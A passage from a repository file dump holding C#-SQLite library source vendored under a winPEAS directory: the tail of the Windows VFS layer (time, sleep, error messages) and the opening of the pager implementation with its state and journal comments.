GetTickCount();\nSystem.DateTime dt = new System.DateTime();\nput32bits( zBuf, n, (u32)dt.Ticks );// memcpy(&zBuf[n], cnt, sizeof(cnt));\nn += 4;// cnt.Length;\n}\nif ( sizeof( long ) <= nBuf - n )\n{\nlong i;\ni = System.DateTime.UtcNow.Millisecond;// QueryPerformanceCounter(out i);\nput32bits( zBuf, n, (u32)( i & 0xFFFFFFFF ) );//memcpy(&zBuf[n], i, sizeof(i));\nput32bits( zBuf, n, (u32)( i >> 32 ) );\nn += sizeof( long );\n}\n#endif\n      return n;\n    }\n\n\n    /*\n    ** Sleep for a little while.  Return the amount of time slept.\n    */\n    static int winSleep( sqlite3_vfs pVfs, int microsec )\n    {\n      Thread.Sleep( ( microsec + 999 ) / 1000 );\n      UNUSED_PARAMETER( pVfs );\n      return ( ( microsec + 999 ) / 1000 ) * 1000;\n    }\n\n    /*\n    ** The following variable, if set to a non-zero value, becomes the result\n    ** returned from sqlite3OsCurrentTime().  This is used for testing.\n    */\n#if SQLITE_TEST\n    //    static int sqlite3_current_time = 0;\n#endif\n\n    /*\n** Find the current time (in Universal Coordinated Time).  Write the\n** current time and date as a Julian Day number into prNow and\n** return 0.  Return 1 if the time and date cannot be found.\n*/\n    static int winCurrentTime( sqlite3_vfs pVfs, ref double prNow )\n    {\n      //FILETIME ft = new FILETIME();\n      /* FILETIME structure is a 64-bit value representing the number of\n      100-nanosecond intervals since January 1, 1601 (= JD 2305813.5).\n      */\n      sqlite3_int64 timeW;   /* Whole days */\n      sqlite3_int64 timeF;   /* Fractional Days */\n\n      /* Number of 100-nanosecond intervals in a single day */\n      const sqlite3_int64 ntuPerDay =\n      10000000 * (sqlite3_int64)86400;\n\n      /* Number of 100-nanosecond intervals in half of a day */\n      const sqlite3_int64 ntuPerHalfDay =\n      10000000 * (sqlite3_int64)43200;\n\n      ///* 2^32 - to avoid use of LL and warnings in gcc */\n      //const sqlite3_int64 max32BitValue =\n      //(sqlite3_int64)2000000000 + (sqlite3_int64)2000000000 + (sqlite3_int64)294967296;\n\n      //#if SQLITE_OS_WINCE\n      //SYSTEMTIME time;\n      //GetSystemTime(&time);\n      ///* if SystemTimeToFileTime() fails, it returns zero. */\n      //if (!SystemTimeToFileTime(&time,&ft)){\n      //return 1;\n      //}\n      //#else\n      //      GetSystemTimeAsFileTime( ref ft );\n      //      ft = System.DateTime.UtcNow.ToFileTime();\n      //#endif\n      //      UNUSED_PARAMETER( pVfs );\n      //      timeW = ( ( (sqlite3_int64)ft.dwHighDateTime ) * max32BitValue ) + (sqlite3_int64)ft.dwLowDateTime;\n      timeW = System.DateTime.UtcNow.ToFileTime();\n      timeF = timeW % ntuPerDay;          /* fractional days (100-nanoseconds) */\n      timeW = timeW / ntuPerDay;          /* whole days */\n      timeW = timeW + 2305813;            /* add whole days (from 2305813.5) */\n      timeF = timeF + ntuPerHalfDay;      /* add half a day (from 2305813.5) */\n      timeW = timeW + ( timeF / ntuPerDay );  /* add whole day if half day made one */\n      timeF = timeF % ntuPerDay;          /* compute new fractional days */\n      prNow = (double)timeW + ( (double)timeF / (double)ntuPerDay );\n#if SQLITE_TEST\n      if ( ( sqlite3_current_time.iValue ) != 0 )\n      {\n        prNow = ( (double)sqlite3_current_time.iValue + (double)43200 ) / (double)86400 + (double)2440587;\n      }\n#endif\n      return 0;\n    }\n\n\n    /*\n    ** The idea is that this function works like a combination of\n    ** GetLastError() and FormatMessage() on windows (or errno and\n    ** strerror_r() on unix). After an error is returned by an OS\n    ** function, SQLite calls this function with zBuf pointing to\n    ** a buffer of nBuf bytes. The OS layer should populate the\n    ** buffer with a nul-terminated UTF-8 encoded error message\n    ** describing the last IO error to have occurred within the calling\n    ** thread.\n    **\n    ** If the error message is too large for the supplied buffer,\n    ** it should be truncated. The return value of xGetLastError\n    ** is zero if the error message fits in the buffer, or non-zero\n    ** otherwise (if the message was truncated). If non-zero is returned,\n    ** then it is not necessary to include the nul-terminator character\n    ** in the output buffer.\n    **\n    ** Not supplying an error message will have no adverse effect\n    ** on SQLite. It is fine to have an implementation that never\n    ** returns an error message:\n    **\n    **   int xGetLastError(sqlite3_vfs pVfs, int nBuf, char *zBuf){\n    **     Debug.Assert(zBuf[0]=='\\0');\n    **     return 0;\n    **   }\n    **\n    ** However if an error message is supplied, it will be incorporated\n    ** by sqlite into the error message available to the user using\n    ** sqlite3_errmsg(), possibly making IO errors easier to debug.\n    */\n    static int winGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf )\n    {\n      UNUSED_PARAMETER( pVfs );\n      return getLastErrorMsg( nBuf, ref zBuf );\n    }\n\n    static sqlite3_vfs winVfs = new sqlite3_vfs(\n    1,                              /* iVersion */\n    -1, //sqlite3_file.Length,      /* szOsFile */\n    MAX_PATH,                       /* mxPathname */\n    null,                           /* pNext */\n    \"win32\",                        /* zName */\n    0,                              /* pAppData */\n\n    (dxOpen)winOpen,                /* xOpen */\n    (dxDelete)winDelete,            /* xDelete */\n    (dxAccess)winAccess,            /* xAccess */\n    (dxFullPathname)winFullPathname,/* xFullPathname */\n    (dxDlOpen)winDlOpen,            /* xDlOpen */\n    (dxDlError)winDlError,          /* xDlError */\n    (dxDlSym)winDlSym,              /* xDlSym */\n    (dxDlClose)winDlClose,          /* xDlClose */\n    (dxRandomness)winRandomness,    /* xRandomness */\n    (dxSleep)winSleep,              /* xSleep */\n    (dxCurrentTime)winCurrentTime,  /* xCurrentTime */\n    (dxGetLastError)winGetLastError /* xGetLastError */\n    );\n\n    /*\n    ** Initialize and deinitialize the operating system interface.\n    */\n    static int sqlite3_os_init()\n    {\n      sqlite3_vfs_register( winVfs, 1 );\n      return SQLITE_OK;\n    }\n    static int sqlite3_os_end()\n    {\n      return SQLITE_OK;\n    }\n\n#endif // * SQLITE_OS_WIN */\n    //\n    //          Windows DLL definitions\n    //\n\n    const int NO_ERROR = 0;\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pager_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i16 = System.Int16;\nusing i64 = System.Int64;\n\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\n\nusing Pgno = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    using DbPage = CSSQLite.PgHdr;\n    public partial class CSSQLite\n    {\n        /*\n        ** 2001 September 15\n        **\n        ** The author disclaims copyright to this source code.  In place of\n        ** a legal notice, here is a blessing:\n        **\n        **    May you do good and not evil.\n        **    May you find forgiveness for yourself and forgive others.\n        **    May you share freely, never taking more than you give.\n        **\n        *************************************************************************\n        ** This is the implementation of the page cache subsystem or \"pager\".\n        **\n        ** The pager is used to access a database disk file.  It implements\n        ** atomic commit and rollback through the use of a journal file that\n        ** is separate from the database file.  The pager also implements file\n        ** locking to prevent two processes from writing the same database\n        ** file simultaneously, or one process from reading the database while\n        ** another is writing.\n        **\n        ** @(#) $Id: pager.c,v 1.629 2009/08/10 17:48:57 drh Exp $\n        **\n        *************************************************************************\n        **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n        **  C#-SQLite is an independent reimplementation of the SQLite software library\n        **\n        **  $Header$\n        *************************************************************************\n        */\n#if !SQLITE_OMIT_DISKIO\n        //#include \"sqliteInt.h\"\n\n\n        /*\n        ** Macros for troubleshooting.  Normally turned off\n        */\n#if TRACE\n\n        static bool sqlite3PagerTrace = false;  /* True to enable tracing */\n        //#define sqlite3DebugPrintf printf\n        //#define PAGERTRACE(X)     if( sqlite3PagerTrace ){ sqlite3DebugPrintf X; }\n        static void PAGERTRACE(string T, params object[] ap) { if (sqlite3PagerTrace) sqlite3DebugPrintf(T, ap); }\n#else\n//#define PAGERTRACE(X)\nstatic void PAGERTRACE( string T, params object[] ap ) { }\n#endif\n\n        /*\n    ** The following two macros are used within the PAGERTRACE() macros above\n    ** to print out file-descriptors.\n    **\n    ** PAGERID() takes a pointer to a Pager struct as its argument. The\n    ** associated file-descriptor is returned. FILEHANDLEID() takes an sqlite3_file\n    ** struct as its argument.\n    */\n        //#define PAGERID(p) ((int)(p.fd))\n        static int PAGERID(Pager p) { return p.GetHashCode(); }\n\n        //#define FILEHANDLEID(fd) ((int)fd)\n        static int FILEHANDLEID(sqlite3_file fd) { return fd.GetHashCode(); }\n\n        /*\n        ** The page cache as a whole is always in one of the following\n        ** states:\n        **\n        **   PAGER_UNLOCK        The page cache is not currently reading or\n        **                       writing the database file.  There is no\n        **                       data held in memory.  This is the initial\n        **                       state.\n        **\n        **   PAGER_SHARED        The page cache is reading the database.\n        **                       Writing is not permitted.  There can be\n        **                       multiple readers accessing the same database\n        **                       file at the same time.\n        **\n        **   PAGER_RESERVED      This process has reserved the database for writing\n        **                       but has not yet made any changes.  Only one process\n        **                       at a time can reserve the database.  The original\n        **                       database file has not been modified so other\n        **                       processes may still be reading the on-disk\n        **                       database file.\n        **\n        **   PAGER_EXCLUSIVE     The page cache is writing the database.\n        **                       Access is exclusive.  No other processes or\n        **                       threads can be reading or writing while one\n        **                       process is writing.\n        **\n        **   PAGER_SYNCED        The pager moves to this state from PAGER_EXCLUSIVE\n        **                       after all dirty pages have been written to the\n        **                       database file and the file has been synced to\n        **                       disk. All that remains to do is to remove or\n        **                       truncate the journal file and the transaction\n        **                       will be committed.\n        **\n        ** The page cache comes up in PAGER_UNLOCK.  The first time a\n        ** sqlite3PagerGet() occurs, the state transitions to PAGER_SHARED.\n        ** After all pages have been released using sqlite_page_unref(),\n        ** the state transitions back to PAGER_UNLOCK.  The first time\n        ** that sqlite3PagerWrite() is called, the state transitions to\n        ** PAGER_RESERVED.  (Note that sqlite3PagerWrite() can only be\n        ** called on an outstanding page which means that the pager must\n        ** be in PAGER_SHARED before it transitions to PAGER_RESERVED.)\n        ** PAGER_RESERVED means that there is an open rollback journal.\n        ** The transition to PAGER_EXCLUSIVE occurs before any changes\n        ** are made to the database file, though writes to the rollback\n        ** journal occurs with just PAGER_RESERVED.  After an sqlite3PagerRollback()\n        ** or sqlite3PagerCommitPhaseTwo(), the state can go back to PAGER_SHARED,\n        ** or it can stay at PAGER_EXCLUSIVE if we are in exclusive access mode.\n        */\n        const int PAGER_UNLOCK = 0;\n        const int PAGER_SHARED = 1;   /* same as SHARED_LOCK */\n        const int PAGER_RESERVED = 2;   /* same as RESERVED_LOCK */\n        const int PAGER_EXCLUSIVE = 4;   /* same as EXCLUSIVE_LOCK */\n        const int PAGER_SYNCED = 5;\n\n        /*\n        ** A macro used for invoking the codec if there is one\n        */\n#if SQLITE_HAS_CODEC\n//# define CODEC1(P,D,N,X,E) \\\nif( P->xCodec && P->xCodec(P->pCodec,D,N,X)==0 ){ E; }\n//# define CODEC2(P,D,N,X,E,O) \\\nif( P->xCodec==0 ){ O=(char*)D; }else \\\nif( (O=(char*)(P->xCodec(P->pCodec,D,N,X)))==0 ){ E; }\n#else\n        //# define CODEC1(P,D,N,X,E)   /* NO-OP */\n        //# define CODEC2(P,D,N,X,E,O) O=(char*)D\n        static void CODEC2(Pager P, byte[] D, uint N, int X, int E, ref byte[] O) { O = D; }\n#endif\n\n        /*\n    ** The maximum allowed sector size. 64KiB. If the xSectorsize() method \n    ** returns a value larger than this, then MAX_SECTOR_SIZE is used instead.\n    ** This could conceivably cause corruption following a power failure on\n    ** such a system. This is currently an undocumented limit.\n    */\n        //#define MAX_SECTOR_SIZE 0x10000\n        const int MAX_SECTOR_SIZE = 0x10000;\n\n        /*\n        ** An instance of the following structure is allocated for each active\n        ** savepoint and statement transaction in the system. All such structures\n        ** are stored in the Pager.aSavepoint[] array, which is allocated and\n        ** resized using sqlite3Realloc().\n        **\n        ** When a savepoint is created, the PagerSavepoint.iHdrOffset field is\n        ** set to 0. If a journal-header is written into the main journal while\n        ** the savepoint is active, then iHdrOffset is set to the byte offset\n        ** immediately following the last journal record written into the main\n        ** journal before the journal-header. This is required during savepoint\n        ** rollback (see pagerPlaybackSavepoint()).\n        */\n        //typedef struct PagerSavepoint PagerSavepoint;\n        public class PagerSavepoint\n        {\n            public i64 iOffset;                 /* Starting offset in main journal */\n            public i64 iHdrOffset;              /* See above */\n            public Bitvec pInSavepoint;         /* Set of pages in this savepoint */\n            public Pgno nOrig;                  /* Original number of pages in file */\n            public Pgno iSubRec;                /* Index of first record in sub-journal */\n            public static implicit operator bool(PagerSavepoint b)\n            {\n                return (b != null);\n            }\n        };\n\n\n        /*\n        ** A open page cache is an instance of the following structure.\n        **\n        ** errCode\n        **\n        **   Pager.errCode may be set to SQLITE_IOERR, SQLITE_CORRUPT, or\n        **   or SQLITE_FULL. Once one of the first three errors occurs, it persists\n        **   and is returned as the result of every major pager API call.  The\n        **   SQLITE_FULL return code is slightly different. It persists only until the\n        **   next successful rollback is performed on the pager cache. Also,\n        **   SQLITE_FULL does not affect the sqlite3PagerGet() and sqlite3PagerLookup()\n        **   APIs, they may still be used successfully.\n        **\n        ** dbSizeValid, dbSize, dbOrigSize, dbFileSize\n        **\n        **   Managing the size of the database file in pages is a little complicated.\n        **   The variable Pager.dbSize contains the number of pages that the database\n        **   image currently contains. As the database image grows or shrinks this\n        **   variable is updated. The variable Pager.dbFileSize contains the number\n        **   of pages in the database file. This may be different from Pager.dbSize\n        **   if some pages have been appended to the database image but not yet written\n        **   out from the cache to the actual file on disk. Or if the image has been\n        **   truncated by an incremental-vacuum operation. The Pager.dbOrigSize variable\n        **   contains the number of pages in the database image when the current\n        **   transaction was opened. The contents of all three of these variables is\n        **   only guaranteed to be correct if the boolean Pager.dbSizeValid is true.\n        **\n        **   TODO: Under what conditions is dbSizeValid set? Cleared?\n        **\n        ** changeCountDone\n        **\n        **   This boolean variable is used to make sure that the change-counter\n        **   (the 4-byte header field at byte offset 24 of the database file) is\n        **   not updated more often than necessary.\n        **\n        **   It is set to true when the change-counter field is updated, which\n        **   can only happen if an exclusive lock is held on the database file.\n        **   It is cleared (set to false) whenever an exclusive lock is\n        **   relinquished on the database file. Each time a transaction is committed,\n        **   The changeCountDone flag is inspected. If it is true, the work of\n        **   updating the change-counter is omitted for the current transaction.\n        **\n        **   This mechanism means that when running in exclusive mode, a connection\n        **   need only update the change-counter once, for the first transaction\n        **   committed.\n        **\n        ** dbModified\n        **\n        **   The dbModified flag is set whenever a database page is dirtied.\n        **   It is cleared at the end of each transaction.\n        **\n        **   It is used when committing or otherwise ending a transaction. If\n        **   the dbModified flag is clear then less work has to be done.\n        **\n        ** journalStarted\n        **\n        **   This flag is set whenever the the main journal is synced.\n        **\n        **   The point of this flag is that it must be set after the\n        **   first journal header in a journal file has been synced to disk.\n        **   After this has happened, new pages appended to the database\n        **   do not need the PGHDR_NEED_SYNC flag set, as they do not need\n        **   to wait for a journal sync before they can be written out to\n        **   the database file (see function pager_write()).\n        **\n        ** setMaster\n        **\n        **   This variable is used to ensure that the master journal file name\n        **   (if any) is only written into the journal file once.\n        **\n        **   When committing a transaction, the master journal file name (if any)\n        **   may be written into the journal file while the pager is still in\n        **   PAGER_RESERVED state (see CommitPhaseOne() for the action). It\n        **   then attempts to upgrade to an exclusive lock. If this attempt\n        **   fails, then SQLITE_BUSY may be returned to the user and the user\n        **   may attempt to commit the transaction again later (calling\n        **   CommitPhaseOne() again). This flag is used to ensure that the\n        **   master journal name is only written to the journal file the first\n        **   time CommitPhaseOne() is called.\n        **\n        ** doNotSync\n        **\n        **   This variable is set and cleared by sqlite3PagerWrite().\n        **\n        ** needSync\n        **\n        **   TODO: It might be easier to set this variable in writeJournalHdr()\n        **   and writeMasterJournal() only. Change its meaning to \"unsynced data\n        **   has been written to the journal\".\n        **\n        ** subjInMemory\n        **\n        **   This is a boolean variable. If true, then any required sub-journal\n        **   is opened as an in-memory journal file. If false, then in-memory\n        **   sub-journals are only used for in-memory pager files.\n        */\n        public class Pager\n        {\n            public sqlite3_vfs pVfs;           /* OS functions to use for IO */\n            public bool exclusiveMode;         /* Boolean. True if locking_mode==EXCLUSIVE */\n            public u8 journalMode;             /* On of the PAGER_JOURNALMODE_* values */\n            public u8 useJournal;              /* Use a rollback journal on this file */\n            public u8 noReadlock;              /* Do not bother to obtain readlocks */\n            public bool noSync;                /* Do not sync the journal if true */\n            public bool fullSync;              /* Do extra syncs of the journal for robustness */\n            public int sync_flags;             /* One of SYNC_NORMAL or SYNC_FULL */\n            public bool tempFile;              /* zFilename is a temporary file */\n            public bool readOnly;              /* True for a read-only database */\n            public bool alwaysRollback;        /* Disable DontRollback() for all pages */\n            public u8 memDb;                   /* True to inhibit all file I/O */\n            /* The following block contains those class members that are dynamically\n            ** modified during normal operations. The other variables in this structure\n            ** are either constant throughout the lifetime of the pager, or else\n            ** used to store configuration parameters that affect the way the pager\n            ** operates.\n            **\n            ** The 'state' variable is described in more detail along with the\n            ** descriptions of the values it may take - PAGER_UNLOCK etc. Many of the\n            ** other variables in this block are described in the comment directly\n            ** above this class definition.\n            */\n            public u8 state;                   /* PAGER_UNLOCK, _SHARED, _RESERVED, etc. */\n            public bool dbModified;            /* True if there are any changes to the Db */\n            public bool needSync;              /* True if an fsync() is needed on the journal */\n            public bool journalStarted;        /* True if header of journal is synced */\n            public bool changeCountDone;       /* Set after incrementing the change-counter */\n            public int setMaster;              /* True if a m-j name has been written to jrnl */\n            public bool doNotSync;             /* Boolean. While true, do not spill the cache */\n            public bool dbSizeValid;           /* Set when dbSize is correct */\n            public u8 subjInMemory;            /* True to use in-memory sub-journals */\n            public Pgno dbSize;                /* Number of pages in the database */\n            public Pgno dbOrigSize;            /* dbSize before the current transaction */\n            public Pgno dbFileSize;            /* Number of pages in the database file */\n            public int errCode;                /* One of several kinds of errors */\n            public int nRec;                   /* Pages journalled since last j-header written */\n            public u32 cksumInit;              /* Quasi-random value added to every checksum */\n            public u32 nSubRec;                /* Number of records written to sub-journal */\n            public Bitvec pInJournal;          /* One bit for each page in the database file */\n            public sqlite3_file fd;            /* File descriptor for database */\n            public sqlite3_file jfd;           /* File descriptor for main journal */\n            public sqlite3_file sjfd;          /* File descriptor for sub-journal */\n            public i64 journalOff;             /* Current write offset in the journal file */\n            public i64 journalHdr;             /* Byte offset to previous journal header */\n            public PagerSavepoint[] aSavepoint;/* Array of active savepoints */\n            public int nSavepoint;             /* Number of elements in aSavepoint[] */\n            public u8[] dbFileVers = new u8[16];/* Changes whenever database file changes */\n            public u32 sectorSize;             /* Assumed sector size during rollback */\n\n            public u16 nExtra;                 /* Add this many bytes to each in-memory page */\n            public i16 nReserve;               /* Number of unused bytes at end of each page */\n            public u32 vfsFlags;               /* Flags for sqlite3_vfs.xOpen() */\n            public int pageSize;               /* Number of bytes in a page */\n            public Pgno mxPgno;                /* Maximum allowed size of the database */\n            public string zFilename;           /* Name of the database file */\n            public string zJournal;            /* Name of the journal file */\n            public dxBusyHandler xBusyHandler; /* Function to call when busy */\n            public object pBusyHandlerArg;     /* Context argument for xBusyHandler */\n#if SQLITE_TEST || DEBUG\n            public int nHit, nMiss;              /* Cache hits and missing */\n            public int nRead, nWrite;            /* Database pages read/written */\n#else\n      public int nHit;\n#endif\n            public dxReiniter xReiniter; //(DbPage*,int);/* Call this routine when reloading pages */\n#if SQLITE_HAS_CODEC\nvoid *(*xCodec)(void*,void*,Pgno,int); /* Routine for en/decoding data */\nvoid (*xCodecSizeChng)(void*,int,int); /* Notify of page size changes */\nvoid (*xCodecFree)(void*);             /* Destructor for the codec */\nvoid *pCodec;               /* First argument to xCodec... methods */\n#endif\n            public byte[] pTmpSpace;               /* Pager.pageSize bytes of space for tmp use */\n            public i64 journalSizeLimit;           /* Size limit for persistent journal files */\n            public PCache pPCache;                 /* Pointer to page cache object */\n            public sqlite3_backup pBackup;         /* Pointer to list of ongoing backup processes */\n        };\n\n        /*\n        ** The following global variables hold counters used for\n        ** testing purposes only.  These variables do not exist in\n        ** a non-testing build.  These variables are not thread-safe.\n        */\n#if SQLITE_TEST\n    //static int sqlite3_pager_readdb_count = 0;    /* Number of full pages read from DB */\n    //static int sqlite3_pager_writedb_count = 0;   /* Number of full pages written to DB */\n    //static int sqlite3_pager_writej_count = 0;    /* Number of pages written to journal */\n    static void PAGER_INCR( ref int v ) { v++; }\n#else\n        //# define PAGER_INCR(v)\n        static void PAGER_INCR(ref int v) { }\n#endif\n\n        /*\n    ** Journal files begin with the following magic string.  The data\n    ** was obtained from /dev/random.  It is used only as a sanity check.\n    **\n    ** Since version 2.8.0, the journal format contains additional sanity\n    ** checking information.  If the power fails while the journal is being\n    ** written, semi-random garbage data might appear in the journal\n    ** file after power is restored.  If an attempt is then made\n    ** to roll the journal back, the database could be corrupted.  The additional\n    ** sanity checking data is an attempt to discover the garbage in the\n    ** journal and ignore it.\n    **\n    ** The sanity checking information for the new journal format consists\n    ** of a 32-bit checksum on each page of data.  The checksum covers both\n    ** the page number and the pPager.pageSize bytes of data for the page.\n    ** This cksum is initialized to a 32-bit random value that appears in the\n    ** journal file right after the header.  The random initializer is important,\n    ** because garbage data that appears at the end of a journal is likely\n    ** data that was once in other files that have now been deleted.  If the\n    ** garbage data came from an obsolete journal file, the checksums might\n    ** be correct.  But by initializing the checksum to random value which\n    ** is different for every journal, we minimize that risk.\n    */\n        static byte[] aJournalMagic = new byte[] {\n0xd9, 0xd5, 0x05, 0xf9, 0x20, 0xa1, 0x63, 0xd7,\n};\n        /*\n        ** The size of the of each page record in the journal is given by\n        ** the following macro.\n        */\n        //#define JOURNAL_PG_SZ(pPager)  ((pPager.pageSize) + 8)\n        static int JOURNAL_PG_SZ(Pager pPager)\n        { return (pPager.pageSize + 8); }\n\n        /*\n        ** The journal header size for this pager. This is usually the same\n        ** size as a single disk sector. See also setSectorSize().\n        */\n        //#define JOURNAL_HDR_SZ(pPager) (pPager.sectorSize)\n        static u32 JOURNAL_HDR_SZ(Pager pPager)\n        { return (pPager.sectorSize); }\n\n        /*\n        ** The macro MEMDB is true if we are dealing with an in-memory database.\n        ** We do this as a macro so that if the SQLITE_OMIT_MEMORYDB macro is set,\n        ** the value of MEMDB will be a constant and the compiler will optimize\n        ** out code that would never execute.\n        */\n#if SQLITE_OMIT_MEMORYDB\n//# define MEMDB 0\n    const int MEMDB = 0;\n#else\n        //# define MEMDB pPager.memDb\n#endif\n\n        /*\n    ** The maximum legal page number is (2^31 - 1).\n    */\n        //#define PAGER_MAX_PGNO 2147483647\n        const int PAGER_MAX_PGNO = 2147483647;\n\n#if !NDEBUG\n    /*\n** Usage:\n**\n**   assert( assert_pager_state(pPager) );\n*/\n    static bool assert_pager_state( Pager pPager )\n    {\n\n      /* A temp-file is always in PAGER_EXCLUSIVE or PAGER_SYNCED state. */\n      Debug.Assert( pPager.tempFile == false || pPager.state >= PAGER_EXCLUSIVE );\n\n      /* The changeCountDone flag is always set for temp-files */\n      Debug.Assert( pPager.tempFile == false || pPager.changeCountDone );\n\n      return true;\n    }\n#else\n        static bool assert_pager_state(Pager pPager) { return true; }\n#endif\n\n        /*\n    ** Return true if it is necessary to write page *pPg into the sub-journal.\n    ** A page needs to be written into the sub-journal if there exists one\n    ** or more open savepoints for which:\n    **\n    **   * The page-number is less than or equal to PagerSavepoint.nOrig, and\n    **   * The bit corresponding to the page-number is not set in\n    **     PagerSavepoint.pInSavepoint.\n    */\n        static bool subjRequiresPage(PgHdr pPg)\n        {\n            u32 pgno = pPg.pgno;\n            Pager pPager = pPg.pPager;\n            int i;\n            for (i = 0; i < pPager.nSavepoint; i++)\n            {\n                PagerSavepoint p = pPager.aSavepoint[i];\n                if (p.nOrig >= pgno && 0 == sqlite3BitvecTest(p.pInSavepoint, pgno))\n                {\n                    return true;\n                }\n            }\n            return false;\n        }\n\n        /*\n        ** Return true if the page is already in the journal file.\n        */\n        static bool pageInJournal(PgHdr pPg)\n        {\n            return sqlite3BitvecTest(pPg.pPager.pInJournal, pPg.pgno) != 0;\n        }\n\n        /*\n        ** Read a 32-bit integer from the given file descriptor.  Store the integer\n        ** that is read in pRes.  Return SQLITE_OK if everything worked, or an\n        ** error code is something goes wrong.\n        **\n        ** All values are stored on disk as big-endian.\n        */\n        static int read32bits(sqlite3_file fd, int offset, ref int pRes)\n        {\n            u32 u32_pRes = 0;\n            int rc = read32bits(fd, offset, ref u32_pRes);\n            pRes = (int)u32_pRes; return rc;\n        }\n        static int read32bits(sqlite3_file fd, i64 offset, ref u32 pRes)\n        {\n            int rc = read32bits(fd, (int)offset, ref pRes);\n            return rc;\n        }\n        static int read32bits(sqlite3_file fd, int offset, ref u32 pRes)\n        {\n            byte[] ac = new byte[4];\n            int rc = sqlite3OsRead(fd, ac, ac.Length, offset);\n            if (rc == SQLITE_OK)\n            {\n                pRes = sqlite3Get4byte(ac);\n            }\n            return rc;\n        }\n\n        /*\n        ** Write a 32-bit integer into a string buffer in big-endian byte order.\n        */\n        //#define put32bits(A,B)  sqlite3sqlite3Put4byte((u8*)A,B)\n        static void put32bits(string ac, int offset, int val)\n        {\n            byte[] A = new byte[4];\n            A[0] = (byte)ac[offset + 0];\n            A[1] = (byte)ac[offset + 1];\n            A[2] = (byte)ac[offset + 2];\n            A[3] = (byte)ac[offset + 3];\n            sqlite3Put4byte(A, 0, val);\n        }\n        static void put32bits(byte[] ac, int offset, int val)\n        { sqlite3Put4byte(ac, offset, (u32)val); }\n        static void put32bits(byte[] ac, u32 val)\n        { sqlite3Put4byte(ac, 0U, val); }\n        static void put32bits(byte[] ac, int offset, u32 val)\n        { sqlite3Put4byte(ac, offset, val); }\n\n        /*\n        ** Write a 32-bit integer into the given file descriptor.  Return SQLITE_OK\n        ** on success or an error code is something goes wrong.\n        */\n        static int write32bits(sqlite3_file fd, i64 offset, u32 val)\n        {\n            byte[] ac = new byte[4];\n            put32bits(ac, val);\n            return sqlite3OsWrite(fd, ac, 4, offset);\n        }\n\n        /*\n        ** The argument to this macro is a file descriptor (type sqlite3_file*).\n        ** Return 0 if it is not open, or non-zero (but not 1) if it is.\n        **\n        ** This is so that expressions can be written as:\n        **\n        **   if( isOpen(pPager.jfd) ){ ...\n        **\n        ** instead of\n        **\n        **   if( pPager.jfd->pMethods ){ ...\n        */\n        //#define isOpen(pFd) ((pFd)->pMethods)\n        static bool isOpen(sqlite3_file pFd) { return pFd.pMethods != null; }\n\n        /*\n        ** If file pFd is open, call sqlite3OsUnlock() on it.\n        */\n        static int osUnlock(sqlite3_file pFd, int eLock)\n        {\n            if (pFd.pMethods == null)\n            {\n                return SQLITE_OK;\n            }\n            return sqlite3OsUnlock(pFd, eLock);\n        }\n\n        /*\n        ** This function determines whether or not the atomic-write optimization\n        ** can be used with this pager. The optimization can be used if:\n        **\n        **  (a) the value returned by OsDeviceCharacteristics() indicates that\n        **      a database page may be written atomically, and\n        **  (b) the value returned by OsSectorSize() is less than or equal\n        **      to the page size.\n        **\n        ** The optimization is also always enabled for temporary files. It is\n        ** an error to call this function if pPager is opened on an in-memory\n        ** database.\n        **\n        ** If the optimization cannot be used, 0 is returned. If it can be used,\n        ** then the value returned is the size of the journal file when it\n        ** contains rollback data for exactly one page.\n        */\n#if SQLITE_ENABLE_ATOMIC_WRITE\nstatic int jrnlBufferSize(Pager *pPager){\nassert( 0==MEMDB );\nif( !pPager.tempFile ){\nint dc;                           /* Device characteristics */\nint nSector;                      /* Sector size */\nint szPage;                       /* Page size */\n\nassert( isOpen(pPager.fd) );\ndc = sqlite3OsDeviceCharacteristics(pPager.fd);\nnSector = pPager.sectorSize;\nszPage = pPager.pageSize;\n\nassert(SQLITE_IOCAP_ATOMIC512==(512>>8));\nassert(SQLITE_IOCAP_ATOMIC64K==(65536>>8));\nif( 0==(dc&(SQLITE_IOCAP_ATOMIC|(szPage>>8)) || nSector>szPage) ){\nreturn 0;\n}\n}\n\nreturn JOURNAL_HDR_SZ(pPager) + JOURNAL_PG_SZ(pPager);\n}\n#endif\n\n        /*\n    ** If SQLITE_CHECK_PAGES is defined then we do some sanity checking\n    ** on the cache using a hash function.  This is used for testing\n    ** and debugging only.\n    */\n#if SQLITE_CHECK_PAGES\n/*\n** Return a 32-bit hash of the page data for pPage.\n*/\nstatic u32 pager_datahash(int nByte, unsigned char pData){\nu32 hash = 0;\nint i;\nfor(i=0; i<nByte; i++){\nhash = (hash*1039) + pData[i];\n}\nreturn hash;\n}\nstatic void pager_pagehash(PgHdr pPage){\nreturn pager_datahash(pPage.pPager.pageSize, (unsigned char *)pPage.pData);\n}\nstatic u32 pager_set_pagehash(PgHdr pPage){\npPage.pageHash = pager_pagehash(pPage);\n}\n\n/*\n** The CHECK_PAGE macro takes a PgHdr* as an argument. If SQLITE_CHECK_PAGES\n** is defined, and NDEBUG is not defined, an Debug.Assert() statement checks\n** that the page is either dirty or still matches the calculated page-hash.\n*/\n//#define CHECK_PAGE(x) checkPage(x)\nstatic void checkPage(PgHdr pPg){\nPager pPager = pPg.pPager;\nDebug.Assert( !pPg.pageHash || pPager.errCode\n|| (pPg.flags&PGHDR_DIRTY) || pPg.pageHash==pager_pagehash(pPg) );\npPg.pageHash==pager_pagehash(pPg) );\n}\n\n#else\n        //#define pager_datahash(X,Y)  0\n        static int pager_datahash(int X, byte[] Y) { return 0; }\n\n        //#define pager_pagehash(X)  0\n        static int pager_pagehash(PgHdr X) { return 0; }\n\n        //#define CHECK_PAGE(x)\n#endif //* SQLITE_CHECK_PAGES */\n\n\n        /*\n    ** When this is called the journal file for pager pPager must be open.\n    ** This function attempts to read a master journal file name from the\n    ** end of the file and, if successful, copies it into memory supplied\n    ** by the caller. See comments above writeMasterJournal() for the format\n    ** used to store a master journal file name at the end of a journal file.\n    **\n    ** zMaster must point to a buffer of at least nMaster bytes allocated by\n    ** the caller. This should be sqlite3_vfs.mxPathname+1 (to ensure there is\n    ** enough space to write the master journal name). If the master journal\n    ** 